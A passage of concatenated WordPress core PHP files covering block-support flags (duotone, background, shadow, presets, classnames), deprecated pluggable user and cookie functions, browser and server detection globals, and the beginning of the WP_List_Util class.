 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 5.8.0
 */

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'duotone',
	array(
		'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ),
	)
);

// Add classnames to blocks using duotone support.
add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 );

// Enqueue styles.
// Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles).
// Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles).
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 );
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 );

// Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css).
add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 );

// Add styles and SVGs for use in the editor via the EditorStyles component.
add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 );

// Migrate the old experimental duotone support flag.
add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 );
<?php
/**
 * Background block support flag.
 *
 * @package WordPress
 * @since 6.4.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.4.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_background_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_background_support = block_has_support( $block_type, array( 'background' ), false );

	if ( $has_background_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders the background styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.4.0
 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output.
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_background_support( $block_content, $block ) {
	$block_type                   = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes             = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false );

	if (
		! $has_background_image_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' )
	) {
		return $block_content;
	}

	$background_image_source = isset( $block_attributes['style']['background']['backgroundImage']['source'] )
		? $block_attributes['style']['background']['backgroundImage']['source']
		: null;
	$background_image_url    = isset( $block_attributes['style']['background']['backgroundImage']['url'] )
		? $block_attributes['style']['background']['backgroundImage']['url']
		: null;

	if ( ! $background_image_source && ! $background_image_url ) {
		return $block_content;
	}

	$background_size     = isset( $block_attributes['style']['background']['backgroundSize'] )
		? $block_attributes['style']['background']['backgroundSize']
		: 'cover';
	$background_position = isset( $block_attributes['style']['background']['backgroundPosition'] )
		? $block_attributes['style']['background']['backgroundPosition']
		: null;
	$background_repeat   = isset( $block_attributes['style']['background']['backgroundRepeat'] )
		? $block_attributes['style']['background']['backgroundRepeat']
		: null;

	$background_block_styles = array();

	if (
		'file' === $background_image_source &&
		$background_image_url
	) {
		// Set file based background URL.
		$background_block_styles['backgroundImage']['url'] = $background_image_url;
		// Only output the background size and repeat when an image url is set.
		$background_block_styles['backgroundSize']     = $background_size;
		$background_block_styles['backgroundRepeat']   = $background_repeat;
		$background_block_styles['backgroundPosition'] = $background_position;

		// If the background size is set to `contain` and no position is set, set the position to `center`.
		if ( 'contain' === $background_size && ! isset( $background_position ) ) {
			$background_block_styles['backgroundPosition'] = 'center';
		}
	}

	$styles = wp_style_engine_get_styles( array( 'background' => $background_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject background styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );
			$tags->add_class( 'has-background' );
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'background',
	array(
		'register_attribute' => 'wp_register_background_support',
	)
);

add_filter( 'render_block', 'wp_render_background_support', 10, 2 );
<?php
/**
 * Shadow block support flag.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Registers the style and shadow block attributes for block types that support it.
 *
 * @since 6.3.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_shadow_support( $block_type ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if ( ! $has_shadow_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( array_key_exists( 'shadow', $block_type->attributes ) ) {
		$block_type->attributes['shadow'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add CSS classes and inline styles for shadow features to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 6.3.0
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 * @return array Shadow CSS classes and inline styles.
 */
function wp_apply_shadow_support( $block_type, $block_attributes ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if ( ! $has_shadow_support ) {
		return array();
	}

	$shadow_block_styles = array();

	$custom_shadow                 = $block_attributes['style']['shadow'] ?? null;
	$shadow_block_styles['shadow'] = $custom_shadow;

	$attributes = array();
	$styles     = wp_style_engine_get_styles( $shadow_block_styles );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'shadow',
	array(
		'register_attribute' => 'wp_register_shadow_support',
		'apply'              => 'wp_apply_shadow_support',
	)
);
<?php
/**
 * Block level presets support.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Get the class name used on block level presets.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $block Block object.
 * @return string      The unique class name.
 */
function _wp_get_presets_class_name( $block ) {
	return 'wp-settings-' . md5( serialize( $block ) );
}

/**
 * Update the block content with block level presets class name.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function _wp_add_block_level_presets_class( $block_content, $block ) {
	if ( ! $block_content ) {
		return $block_content;
	}

	// return early if the block doesn't have support for settings.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return $block_content;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return $block_content;
	}

	// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
	// Add the class name to the first element, presuming it's the wrapper, if it exists.
	$tags = new WP_HTML_Tag_Processor( $block_content );
	if ( $tags->next_tag() ) {
		$tags->add_class( _wp_get_presets_class_name( $block ) );
	}

	return $tags->get_updated_html();
}

/**
 * Render the block level presets stylesheet.
 *
 * @internal
 *
 * @since 6.2.0
 * @since 6.3.0 Updated preset styles to use Selectors API.
 * @access private
 *
 * @param string|null $pre_render   The pre-rendered content. Default null.
 * @param array       $block The block being rendered.
 *
 * @return null
 */
function _wp_add_block_level_preset_styles( $pre_render, $block ) {
	// Return early if the block has not support for descendent block styles.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return null;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return null;
	}

	$class_name = '.' . _wp_get_presets_class_name( $block );

	// the root selector for preset variables needs to target every possible block selector
	// in order for the general setting to override any bock specific setting of a parent block or
	// the site root.
	$variables_root_selector = '*,[class*="wp-block"]';
	$registry                = WP_Block_Type_Registry::get_instance();
	$blocks                  = $registry->get_all_registered();
	foreach ( $blocks as $block_type ) {
		/*
		 * We only want to append selectors for blocks using custom selectors
		 * i.e. not `wp-block-<name>`.
		 */
		$has_custom_selector =
			( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) ||
			( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) );

		if ( $has_custom_selector ) {
			$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type );
		}
	}
	$variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector );

	// Remove any potentially unsafe styles.
	$theme_json_shape  = WP_Theme_JSON::remove_insecure_properties(
		array(
			'version'  => WP_Theme_JSON::LATEST_SCHEMA,
			'settings' => $block_settings,
		)
	);
	$theme_json_object = new WP_Theme_JSON( $theme_json_shape );

	$styles = '';

	// include preset css variables declaration on the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'variables' ),
		null,
		array(
			'root_selector' => $variables_root_selector,
			'scope'         => $class_name,
		)
	);

	// include preset css classes on the the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'presets' ),
		null,
		array(
			'root_selector' => $class_name . ',' . $class_name . ' *',
			'scope'         => $class_name,
		)
	);

	if ( ! empty( $styles ) ) {
		wp_enqueue_block_support_styles( $styles );
	}

	return null;
}

add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 );
add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 );
<?php
/**
 * Custom classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the custom classname block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_custom_classname_support( $block_type ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );

	if ( $has_custom_classname_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'className', $block_type->attributes ) ) {
			$block_type->attributes['className'] = array(
				'type' => 'string',
			);
		}
	}
}

/**
 * Adds the custom classnames to the output.
 *
 * @since 5.6.0
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block Type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_custom_classname_support( $block_type, $block_attributes ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );
	$attributes                   = array();
	if ( $has_custom_classname_support ) {
		$has_custom_classnames = array_key_exists( 'className', $block_attributes );

		if ( $has_custom_classnames ) {
			$attributes['class'] = $block_attributes['className'];
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'custom-classname',
	array(
		'register_attribute' => 'wp_register_custom_classname_support',
		'apply'              => 'wp_apply_custom_classname_support',
	)
);
<?php
/**
 * Generated classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Gets the generated classname from a given block name.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param string $block_name Block Name.
 * @return string Generated classname.
 */
function wp_get_block_default_classname( $block_name ) {
	// Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature.
	// Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/').
	$classname = 'wp-block-' . preg_replace(
		'/^core-/',
		'',
		str_replace( '/', '-', $block_name )
	);

	/**
	 * Filters the default block className for server rendered blocks.
	 *
	 * @since 5.6.0
	 *
	 * @param string $class_name The current applied classname.
	 * @param string $block_name The block name.
	 */
	$classname = apply_filters( 'block_default_classname', $classname, $block_name );

	return $classname;
}

/**
 * Adds the generated classnames to the output.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_generated_classname_support( $block_type ) {
	$attributes                      = array();
	$has_generated_classname_support = block_has_support( $block_type, 'className', true );
	if ( $has_generated_classname_support ) {
		$block_classname = wp_get_block_default_classname( $block_type->name );

		if ( $block_classname ) {
			$attributes['class'] = $block_classname;
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'generated-classname',
	array(
		'apply' => 'wp_apply_generated_classname_support',
	)
);
<?php
/**
 * Deprecated pluggable functions from past WordPress versions. You shouldn't use these
 * functions and look for the alternatives instead. The functions will be removed in a
 * later version.
 *
 * Deprecated warnings are also thrown if one of these functions is being defined by a plugin.
 *
 * @package WordPress
 * @subpackage Deprecated
 * @see pluggable.php
 */

/*
 * Deprecated functions come here to die.
 */

if ( !function_exists('set_current_user') ) :
/**
 * Changes the current user by ID or name.
 *
 * Set $id to null and specify a name if you do not know a user's ID.
 *
 * @since 2.0.1
 * @deprecated 3.0.0 Use wp_set_current_user()
 * @see wp_set_current_user()
 *
 * @param int|null $id User ID.
 * @param string $name Optional. The user's username
 * @return WP_User returns wp_set_current_user()
 */
function set_current_user($id, $name = '') {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_set_current_user()' );
	return wp_set_current_user($id, $name);
}
endif;

if ( !function_exists('get_currentuserinfo') ) :
/**
 * Populate global variables with information about the currently logged in user.
 *
 * @since 0.71
 * @deprecated 4.5.0 Use wp_get_current_user()
 * @see wp_get_current_user()
 *
 * @return bool|WP_User False on XMLRPC Request and invalid auth cookie, WP_User instance otherwise.
 */
function get_currentuserinfo() {
	_deprecated_function( __FUNCTION__, '4.5.0', 'wp_get_current_user()' );

	return _wp_get_current_user();
}
endif;

if ( !function_exists('get_userdatabylogin') ) :
/**
 * Retrieve user info by login name.
 *
 * @since 0.71
 * @deprecated 3.3.0 Use get_user_by()
 * @see get_user_by()
 *
 * @param string $user_login User's username
 * @return bool|object False on failure, User DB row object
 */
function get_userdatabylogin($user_login) {
	_deprecated_function( __FUNCTION__, '3.3.0', "get_user_by('login')" );
	return get_user_by('login', $user_login);
}
endif;

if ( !function_exists('get_user_by_email') ) :
/**
 * Retrieve user info by email.
 *
 * @since 2.5.0
 * @deprecated 3.3.0 Use get_user_by()
 * @see get_user_by()
 *
 * @param string $email User's email address
 * @return bool|object False on failure, User DB row object
 */
function get_user_by_email($email) {
	_deprecated_function( __FUNCTION__, '3.3.0', "get_user_by('email')" );
	return get_user_by('email', $email);
}
endif;

if ( !function_exists('wp_setcookie') ) :
/**
 * Sets a cookie for a user who just logged in. This function is deprecated.
 *
 * @since 1.5.0
 * @deprecated 2.5.0 Use wp_set_auth_cookie()
 * @see wp_set_auth_cookie()
 *
 * @param string $username The user's username
 * @param string $password Optional. The user's password
 * @param bool $already_md5 Optional. Whether the password has already been through MD5
 * @param string $home Optional. Will be used instead of COOKIEPATH if set
 * @param string $siteurl Optional. Will be used instead of SITECOOKIEPATH if set
 * @param bool $remember Optional. Remember that the user is logged in
 */
function wp_setcookie($username, $password = '', $already_md5 = false, $home = '', $siteurl = '', $remember = false) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_set_auth_cookie()' );
	$user = get_user_by('login', $username);
	wp_set_auth_cookie($user->ID, $remember);
}
else :
	_deprecated_function( 'wp_setcookie', '2.5.0', 'wp_set_auth_cookie()' );
endif;

if ( !function_exists('wp_clearcookie') ) :
/**
 * Clears the authentication cookie, logging the user out. This function is deprecated.
 *
 * @since 1.5.0
 * @deprecated 2.5.0 Use wp_clear_auth_cookie()
 * @see wp_clear_auth_cookie()
 */
function wp_clearcookie() {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_clear_auth_cookie()' );
	wp_clear_auth_cookie();
}
else :
	_deprecated_function( 'wp_clearcookie', '2.5.0', 'wp_clear_auth_cookie()' );
endif;

if ( !function_exists('wp_get_cookie_login') ):
/**
 * Gets the user cookie login. This function is deprecated.
 *
 * This function is deprecated and should no longer be extended as it won't be
 * used anywhere in WordPress. Also, plugins shouldn't use it either.
 *
 * @since 2.0.3
 * @deprecated 2.5.0
 *
 * @return bool Always returns false
 */
function wp_get_cookie_login() {
	_deprecated_function( __FUNCTION__, '2.5.0' );
	return false;
}
else :
	_deprecated_function( 'wp_get_cookie_login', '2.5.0' );
endif;

if ( !function_exists('wp_login') ) :
/**
 * Checks a users login information and logs them in if it checks out. This function is deprecated.
 *
 * Use the global $error to get the reason why the login failed. If the username
 * is blank, no error will be set, so assume blank username on that case.
 *
 * Plugins extending this function should also provide the global $error and set
 * what the error is, so that those checking the global for why there was a
 * failure can utilize it later.
 *
 * @since 1.2.2
 * @deprecated 2.5.0 Use wp_signon()
 * @see wp_signon()
 *
 * @global string $error Error when false is returned
 *
 * @param string $username   User's username
 * @param string $password   User's password
 * @param string $deprecated Not used
 * @return bool True on successful check, false on login failure.
 */
function wp_login($username, $password, $deprecated = '') {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_signon()' );
	global $error;

	$user = wp_authenticate($username, $password);

	if ( ! is_wp_error($user) )
		return true;

	$error = $user->get_error_message();
	return false;
}
else :
	_deprecated_function( 'wp_login', '2.5.0', 'wp_signon()' );
endif;

/**
 * WordPress AtomPub API implementation.
 *
 * Originally stored in wp-app.php, and later wp-includes/class-wp-atom-server.php.
 * It is kept here in case a plugin directly referred to the class.
 *
 * @since 2.2.0
 * @deprecated 3.5.0
 *
 * @link https://wordpress.org/plugins/atom-publishing-protocol/
 */
if ( ! class_exists( 'wp_atom_server', false ) ) {
	class wp_atom_server {
		public function __call( $name, $arguments ) {
			_deprecated_function( __CLASS__ . '::' . $name, '3.5.0', 'the Atom Publishing Protocol plugin' );
		}

		public static function __callStatic( $name, $arguments ) {
			_deprecated_function( __CLASS__ . '::' . $name, '3.5.0', 'the Atom Publishing Protocol plugin' );
		}
	}
}
<?php
/**
 * Creates common globals for the rest of WordPress
 *
 * Sets $pagenow global which is the filename of the current screen.
 * Checks for the browser to set which one is currently being used.
 *
 * Detects which user environment WordPress is being used on.
 * Only attempts to check for Apache, Nginx and IIS -- three web
 * servers with known pretty permalink capability.
 *
 * Note: Though Nginx is detected, WordPress does not currently
 * generate rewrite rules for it. See https://wordpress.org/documentation/article/nginx/
 *
 * @package WordPress
 */

global $pagenow,
	$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge,
	$is_apache, $is_IIS, $is_iis7, $is_nginx, $is_caddy;

// On which page are we?
if ( is_admin() ) {
	// wp-admin pages are checked more carefully.
	if ( is_network_admin() ) {
		preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} elseif ( is_user_admin() ) {
		preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} else {
		preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	}

	$pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : '';
	$pagenow = trim( $pagenow, '/' );
	$pagenow = preg_replace( '#\?.*?$#', '', $pagenow );

	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
		$pagenow = 'index.php';
	} else {
		preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches );
		$pagenow = strtolower( $self_matches[1] );
		if ( ! str_ends_with( $pagenow, '.php' ) ) {
			$pagenow .= '.php'; // For `Options +Multiviews`: /wp-admin/themes/index.php (themes.php is queried).
		}
	}
} else {
	if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) {
		$pagenow = strtolower( $self_matches[1] );
	} else {
		$pagenow = 'index.php';
	}
}
unset( $self_matches );

// Simple browser detection.
$is_lynx   = false;
$is_gecko  = false;
$is_winIE  = false;
$is_macIE  = false;
$is_opera  = false;
$is_NS4    = false;
$is_safari = false;
$is_chrome = false;
$is_iphone = false;
$is_edge   = false;

if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
	if ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Lynx' ) ) {
		$is_lynx = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) ) {
		$is_edge = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Opera' ) || str_contains( $_SERVER['HTTP_USER_AGENT'], 'OPR/' ) ) {
		$is_opera = true;
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chrome' ) !== false ) {
		if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
			$is_admin = is_admin();
			/**
			 * Filters whether Google Chrome Frame should be used, if available.
			 *
			 * @since 3.2.0
			 *
			 * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin().
			 */
			$is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin );
			if ( $is_chrome ) {
				header( 'X-UA-Compatible: chrome=1' );
			}
			$is_winIE = ! $is_chrome;
		} else {
			$is_chrome = true;
		}
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'safari' ) !== false ) {
		$is_safari = true;
	} elseif ( ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) || str_contains( $_SERVER['HTTP_USER_AGENT'], 'Trident' ) )
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'Win' )
	) {
		$is_winIE = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) && str_contains( $_SERVER['HTTP_USER_AGENT'], 'Mac' ) ) {
		$is_macIE = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Gecko' ) ) {
		$is_gecko = true;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Nav' ) && str_contains( $_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.' ) ) {
		$is_NS4 = true;
	}
}

if ( $is_safari && stripos( $_SERVER['HTTP_USER_AGENT'], 'mobile' ) !== false ) {
	$is_iphone = true;
}

$is_IE = ( $is_macIE || $is_winIE );

// Server detection.

/**
 * Whether the server software is Apache or something else.
 *
 * @global bool $is_apache
 */
$is_apache = ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'Apache' ) || str_contains( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) );

/**
 * Whether the server software is Nginx or something else.
 *
 * @global bool $is_nginx
 */
$is_nginx = ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) );

/**
 * Whether the server software is Caddy or something else.
 *
 * @global bool $is_caddy
 */
$is_caddy = ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'Caddy' ) );

/**
 * Whether the server software is IIS or something else.
 *
 * @global bool $is_IIS
 */
$is_IIS = ! $is_apache && ( str_contains( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) || str_contains( $_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer' ) );

/**
 * Whether the server software is IIS 7.X or greater.
 *
 * @global bool $is_iis7
 */
$is_iis7 = $is_IIS && (int) substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) >= 7;

/**
 * Test if the current browser runs on a mobile device (smart phone, tablet, etc.).
 *
 * @since 3.4.0
 * @since 6.4.0 Added checking for the Sec-CH-UA-Mobile request header.
 *
 * @return bool
 */
function wp_is_mobile() {
	if ( isset( $_SERVER['HTTP_SEC_CH_UA_MOBILE'] ) ) {
		// This is the `Sec-CH-UA-Mobile` user agent client hint HTTP request header.
		// See <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-CH-UA-Mobile>.
		$is_mobile = ( '?1' === $_SERVER['HTTP_SEC_CH_UA_MOBILE'] );
	} elseif ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		$is_mobile = false;
	} elseif ( str_contains( $_SERVER['HTTP_USER_AGENT'], 'Mobile' ) // Many mobile devices (all iPhone, iPad, etc.)
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Android' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Silk/' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Kindle' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'BlackBerry' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Opera Mini' )
		|| str_contains( $_SERVER['HTTP_USER_AGENT'], 'Opera Mobi' ) ) {
			$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	/**
	 * Filters whether the request should be treated as coming from a mobile device or not.
	 *
	 * @since 4.9.0
	 *
	 * @param bool $is_mobile Whether the request is from a mobile device or not.
	 */
	return apply_filters( 'wp_is_mobile', $is_mobile );
}
<?php
/**
 * WordPress List utility class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * List utility.
 *
 * Utility class to handle operations on an array of objects or arrays.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
class WP_List_Util {
	/**
	 * The input array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $input = array();

	/**
	 * The output array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $output = array();

	/**
	 * Temporary arguments for sorting.
	 *
	 * @since 4.7.0
	 * @var string[]
	 */
	private $orderby = array();

	/**
	 * Constructor.
	 *
	 * Sets the input array.
	 *
	 * @since 4.7.0
	 *
	 * @param array $input Array to perform operations on.
	 */
	public function __construct( $input ) {
		$this->output = $input;
		$this->input  = $input;
	}

	/**
	 * Returns the original input array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The input array.
	 */
	public function get_input() {
		return $this->input;
	}

	/**
	 * Returns the output array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The output array.
	 */
	public function get_output() {
		return $this->output;
	}

	/**
	 * Filters the list, based on a set of key => value arguments.
	 *
	 * Retrieves the objects from the list that match the given arguments.
	 * Key represents property name, and value represents property value.
	 *
	 * If an object has more properties than those specified in arguments,
	 * that will not disqualify it. When using the 'AND' operator,
	 * any missing properties will disqualify it.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args     Optional. An array of key => value arguments to match
	 *                         against each object. Default empty array.
	 * @param string $operator Optional. The logical operation to perform. 'AND' means
	 *                         all elements from the array must match. 'OR' means only
	 *                         one element needs to match. 'NOT' means no elements may
	 *                         match. Default 'AND'.
	 * @return array Array of found values.
	 */
	public function filter( $args = array(), $operator = 'AND' ) {
		if ( empty( $args ) ) {
			return $this->output;
		}

		$operator = strtoupper( $operator );

		if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
			$this->output = array();
			return $this->output;
		}

		$count    = count( $args );
		$filtered = array();

		foreach ( $this->output as $key => $obj ) {
			$matched = 0;

			foreach ( $args as $m_key => $m_value ) {
				if ( is_array( $obj ) ) {
					// Treat object as an array.
					if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) {
						++$matched;
					}
				} elseif ( is_object( $obj ) ) {
					// Treat object as an object.
					if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) {
						++$matched;
					}
				}
			}

			if ( ( 'AND' === $operator && $matched === $count )
				|| ( 'OR' === $operator && $matched > 0 )
				|| ( 'NOT' === $operator && 0 === $matched )
			) {
				$filtered[ $key ] = $obj;
			}
		}

		$this->output = $filtered;

		return $this->output;
	}

	/**
	 * Plucks a certain field out of each element in the input array.
	 *
	 * This has the same functionality and prototype of
	 * array_column() (PHP 5.5) but also supports objects.
	 *
	 * @since 4.7.0
	 *
	 * @param int|string $field     Field to fetch from the object or array.
	 * @param int|string $index_key Optional. Field from the element to use as keys for the new array.
	 *                              Default null.
	 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
	 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
	 *               `$list` will be preserved in the results.
	 */
	public function pluck( $field, $index_key = null ) {
		$newlist = array();

		if ( ! $index_key ) {
			/*
			 * This is simple. Could at some point wrap array_column()
			 * if we knew we had an array of arrays.
			 */
			foreach ( $this->output as $key => $value ) {
				if ( is_object( $value ) ) {
					$newlist[ $key ] = $value->$field;
				} elseif ( is_array( $value ) ) {
					$newlist[ $key ] = $value[ $field ];
				} else {
					_doing_it_wrong(
						__METHOD__,
						__( 'Values for the input array must be either objects or arrays.' ),
						'6.2.0'
					);
				}
			}

			$this->output = $newlist;

			return $this->output;
		}

		/*
		 * When index_key is not set for a particular item, push the value
		 * to the end of the stack. This is how array_column() behaves.
